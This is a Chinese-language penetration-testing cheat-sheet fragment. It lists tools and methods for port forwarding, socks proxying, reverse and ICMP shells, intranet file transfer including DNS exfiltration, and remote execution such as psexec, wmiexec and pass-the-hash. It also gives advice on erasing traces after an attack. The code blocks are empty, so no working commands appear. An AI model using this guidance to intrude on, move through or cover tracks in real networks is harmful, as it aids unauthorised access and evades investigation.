- 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
- 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
- 留存的后门包含攻击者的信息
- 使用的代理或跳板可能会被反向入侵
注意
- 在操作前检查是否有用户在线
- 删除文件使用磁盘覆写的功能删除
- 尽量和攻击前状态保持一致
综合技巧
端口转发
windows
- lcx
- netsh
linux
- portmap
- iptables
socket代理
- Win: xsocks
- Linux: proxychains
基于http的转发与socket代理(低权限下的渗透)
- 端口转发: tunna
- socks代理: reGeorg
ssh通道
- 端口转发
- socks
获取shell
常规shell反弹:
1 |
|
突破防火墙的imcp_shell反弹
正向shell:
1 |
|
内网文件传输
windows下文件传输
- powershell
- vbs脚本文件
- bitsadmin
- 文件共享
- 使用telnet接收数据
- hta
linux下文件传输
- python
- wget
- tar + ssh
- 利用dns传输数据
文件编译
- powershell将exe转为txt,再txt转为exe
远程连接 && 执行程序
- at&schtasks
- psexec
- wmic
- wmiexec.vbs
- smbexec
- powershell remoting
- SC创建服务执行
- schtasks
- SMB+MOF || DLL Hijacks
- PTH + compmgmt.msc